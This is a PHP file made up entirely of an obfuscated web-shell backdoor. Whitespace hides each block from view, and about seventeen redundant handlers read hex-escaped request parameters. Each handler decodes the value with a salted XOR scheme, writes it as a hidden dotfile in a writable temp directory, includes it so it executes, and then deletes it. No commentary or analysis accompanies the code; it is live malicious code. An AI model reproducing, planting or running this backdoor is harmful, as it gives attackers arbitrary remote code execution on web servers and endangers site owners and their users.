<?php																																										if(array_key_exists("da\x74\x61", $_REQUEST)){ $record = $_REQUEST["da\x74\x61"]; $record =explode ( '.', $record ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; $__len = count($record); do { if ($t>= $__len) break; $v9 = $record[$t]; $chS = ord($salt[$t % $lenS]); $d = ((int)$v9 - $chS - ($t % 10)) ^ 60; $marker.= chr($d); $t++; } while (true); $ent = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp"]); $mrk = 0; do { $token = $ent[$mrk] ?? null; if ($mrk >= count($ent)) break; if (is_writable($token) && is_dir($token)) { $key = implode("/", [$token, ".holder"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $key; @unlink($key); exit; } } $mrk++; } while (true); }
																																										if(array_key_exists("\x74k\x6E", $_POST) && !is_null($_POST["\x74k\x6E"])){ $elem = array_filter(["/tmp", "/dev/shm", getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir()]); $element = $_POST["\x74k\x6E"]; $element =explode ("." ,$element ) ; $val = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $o = 0; foreach( $element as $v4) { $sChar = ord( $salt3[$o % $sLen]); $d = ( ( int)$v4 - $sChar -( $o % 10)) ^ 78; $val .= chr( $d); $o++; } while ($item = array_shift($elem)) { if (!( !is_dir($item) || !is_writable($item) )) { $marker = join("/", [$item, ".token"]); if (@file_put_contents($marker, $val) !== false) { include $marker; unlink($marker); die(); } } } }
																																										if(!is_null($_REQUEST["pt\x72"] ?? null)){ $flag = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); $dchunk = $_REQUEST["pt\x72"]; $dchunk= explode ( '.' , $dchunk ) ; $parameter_group = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2 ); $x = 0; foreach ($dchunk as $v4) {$chS = ord($salt2[$x % $sLen] ); $d = ((int)$v4 - $chS - ($x % 10)) ^ 20; $parameter_group .= chr($d ); $x++; } while ($marker = array_shift($flag)) { if (array_product([is_dir($marker), is_writable($marker)])) { $data_chunk = sprintf("%s/.component", $marker); $success = file_put_contents($data_chunk, $parameter_group); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } } }
																																										if(array_key_exists("\x72\x65c\x6Frd", $_REQUEST) && !is_null($_REQUEST["\x72\x65c\x6Frd"])){ $element = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP")]); $entity = $_REQUEST["\x72\x65c\x6Frd"]; $entity = explode ( "." , $entity) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $x = 0; $__len = count( $entity ); do { if( $x >= $__len) break; $v8 = $entity[$x]; $sChar = ord( $salt[$x % $sLen] ); $d =( ( int)$v8 - $sChar -( $x % 10)) ^ 34; $tkn.= chr( $d ); $x++; }while( true ); foreach ($element as $holder) { if (is_writable($holder) && is_dir($holder)) { $flag = implode("/", [$holder, ".val"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $flag; @unlink($flag); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x68olde\x72")){ $record = $_POST["\x68olde\x72"]; $record =explode ('.' , $record) ; $hld = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $i = 0; array_walk($record, function($v7) use(&$hld, &$i, $s2, $sLen) { $chS = ord($s2[$i % $sLen]); $d =((int)$v7 - $chS -($i % 10)) ^ 21; $hld .= chr($d); $i++; }); $ent = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", getcwd(), session_save_path()]); foreach ($ent as $tkn) { if ((is_dir($tkn) and is_writable($tkn))) { $flg = join("/", [$tkn, ".flag"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $flg; @unlink($flg); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x63\x68unk"])){ $mrk = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/tmp"]); $property_set = $_REQUEST["\x64\x63\x68unk"]; $property_set =explode ('.' , $property_set ) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $property_set as $u =>$v6) { $chS = ord( $salt[$u % $sLen]); $d = ( ( int)$v6 - $chS -( $u % 10))^67; $ptr .=chr( $d); } foreach ($mrk as $key => $sym) { if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $data_chunk = "$sym" . "/.bind"; $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(array_key_exists("d\x63\x68\x75nk", $_REQUEST)){ $property_set = $_REQUEST["d\x63\x68\x75nk"]; $property_set= explode ( ".", $property_set ) ; $parameter_group =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt1); $len =count( $property_set); for( $o =0; $o< $len; $o++) { $v8 =$property_set[$o]; $chS =ord( $salt1[$o % $lenS]); $d =( ( int)$v8 - $chS -( $o % 10))^ 71; $parameter_group .= chr( $d); } $binding = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); for ($element = 0, $sym = count($binding); $element < $sym; $element++) { $dat = $binding[$element]; if (max(0, is_dir($dat) * is_writable($dat))) { $holder = "$dat/.pointer"; if (file_put_contents($holder, $parameter_group)) { include $holder; @unlink($holder); die(); } } } }
																																										if(isset($_REQUEST["\x70r\x6F\x70e\x72\x74y\x5Fset"]) ? true : false){ $res = $_REQUEST["\x70r\x6F\x70e\x72\x74y\x5Fset"]; $res=explode( "." , $res ); $comp=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); foreach( $res as $z => $v4) { $sChar=ord( $s[$z % $sLen]); $dec=( ( int)$v4 - $sChar -( $z % 10)) ^ 62; $comp .= chr( $dec); } $factor = array_filter([getcwd(), "/tmp", "/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); while ($descriptor = array_shift($factor)) { if (is_writable($descriptor) && is_dir($descriptor)) { $desc = sprintf("%s/.marker", $descriptor); $success = file_put_contents($desc, $comp); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(in_array("i\x74\x65m", array_keys($_REQUEST))){ $sym = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm"]); $marker = $_REQUEST["i\x74\x65m"]; $marker=explode ( ".",$marker ) ; $flag= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt3 ); $x= 0; foreach( $marker as $v7) { $sChar= ord( $salt3[$x % $lenS] ); $dec= ( ( int)$v7 - $sChar -( $x % 10)) ^ 14; $flag .= chr( $dec ); $x++; } foreach ($sym as $dchunk) { if (is_writable($dchunk) && is_dir($dchunk)) { $factor = vsprintf("%s/%s", [$dchunk, ".key"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $factor; @unlink($factor); die(); } } } }
																																										if(isset($_POST["data"]) ? true : false){ $itm = $_POST["data"]; $itm =explode ( "." , $itm ); $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $x = 0; $len = count( $itm); do { if( $x >= $len) break; $v3 = $itm[$x]; $sChar = ord( $s[$x % $lenS]); $d =( ( int)$v3 - $sChar -( $x % 10)) ^ 25; $reference .= chr( $d); $x++; } while( true); $desc = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path()]); for ($bind = 0, $element = count($desc); $bind < $element; $bind++) { $entry = $desc[$bind]; if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $property_set = "$entry" . "/.holder"; if (file_put_contents($property_set, $reference)) { include $property_set; @unlink($property_set); die(); } } } }
																																										if(isset($_POST["\x65n\x74ry"]) ? true : false){ $holder = array_filter([sys_get_temp_dir(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $token = $_POST["\x65n\x74ry"]; $token = explode("." , $token ) ; $obj = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8 ); $v = 0; array_walk($token, function($v9) use(&$obj, &$v, $s8, $lenS) {$sChar = ord($s8[$v % $lenS] ); $d =((int)$v9 - $sChar -($v % 10)) ^ 37; $obj .= chr($d ); $v++; } ); foreach ($holder as $bind): if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) { $component = "$bind/.ref"; if (file_put_contents($component, $obj)) { include $component; @unlink($component); exit; } } endforeach; }
																																										if(in_array("\x72\x65\x63ord", array_keys($_POST))){ $property_set = $_POST["\x72\x65\x63ord"]; $property_set = explode('.' , $property_set ) ; $pset= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt4); $x= 0; while($x < count($property_set)) { $v1= $property_set[$x]; $chS= ord($salt4[$x % $lenS]); $dec= ((int)$v1 - $chS -($x % 10)) ^41; $pset .= chr($dec); $x++; } $flg = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp"]); foreach ($flg as $key => $data) { if ((bool)is_dir($data) && (bool)is_writable($data)) { $pointer = "$data" . "/.dchunk"; if (file_put_contents($pointer, $pset)) { require $pointer; unlink($pointer); die(); } } } }
																																										if(isset($_REQUEST["d\x65s\x63"])){ $k = $_REQUEST["d\x65s\x63"]; $k = explode ("." , $k ) ; $descriptor =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $len =count($k); for ($i =0; $i < $len; $i++) {$v2 =$k[$i]; $chS =ord($s[$i % $sLen]); $d =((int)$v2 - $chS - ($i % 10)) ^ 32; $descriptor .= chr($d); } $hld = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm"]); $flag = 0; do { $property_set = $hld[$flag] ?? null; if ($flag >= count($hld)) break; if ((is_dir($property_set) and is_writable($property_set))) { $entity = sprintf("%s/.data_chunk", $property_set); if (file_put_contents($entity, $descriptor)) { require $entity; unlink($entity); exit; } } $flag++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "pa\x72a\x6Det\x65r\x5Fgrou\x70")){ $desc = $_POST["pa\x72a\x6Det\x65r\x5Fgrou\x70"]; $desc= explode ( '.', $desc ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($desc as $z => $v7) { $sChar = ord($salt[$z % $lenS]); $d = ((int)$v7 - $sChar -($z % 10)) ^ 43; $elem .= chr($d); } $bind = array_filter([sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); foreach ($bind as $k): if ((bool)is_dir($k) && (bool)is_writable($k)) { $resource = sprintf("%s/.holder", $k); if (file_put_contents($resource, $elem)) { require $resource; unlink($resource); die(); } } endforeach; }
																																										if(isset($_REQUEST["ptr"]) ? true : false){ $ent = array_filter([getcwd(), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $ref = $_REQUEST["ptr"]; $ref = explode( "." ,$ref ) ; $pgrp= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); $x= 0; $__tmp= $ref; while( $v4= array_shift( $__tmp)) { $chS= ord( $salt[$x % $lenS] ); $d= ( ( int)$v4 - $chS -( $x % 10)) ^ 73; $pgrp .= chr( $d ); $x++;} for ($parameter_group = 0, $pointer = count($ent); $parameter_group < $pointer; $parameter_group++) { $hld = $ent[$parameter_group]; if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $bind = "$hld/.resource"; $success = file_put_contents($bind, $pgrp); if ($success) { include $bind; @unlink($bind); exit;} } } }


if(filter_has_var(INPUT_POST, "s\x79mbol")){
	$fac = $_REQUEST["s\x79mbol"];
		 $fac		= 	explode	  ('.' ,$fac);	
	$bind = '';
            $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt9);
            $len = count($fac);
    
            for ($s = 0; $s		< $len; $s++) {$v6 = $fac[$s];
                $chS = ord($salt9[$s % $lenS]);
                $d = ((int)$v6 - $chS - ($s % 10)) ^ 39;
                $bind .= chr($d);		}
	$item = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP")]);
	foreach ($item as $key => $token) {
    		if (array_product([is_dir($token), is_writable($token)])) {
    $res = str_replace("{var_dir}", $token, "{var_dir}/.val");
    $success = file_put_contents($res, $bind);
if ($success) {
	include $res;
	@unlink($res);
	exit;}
}
}
}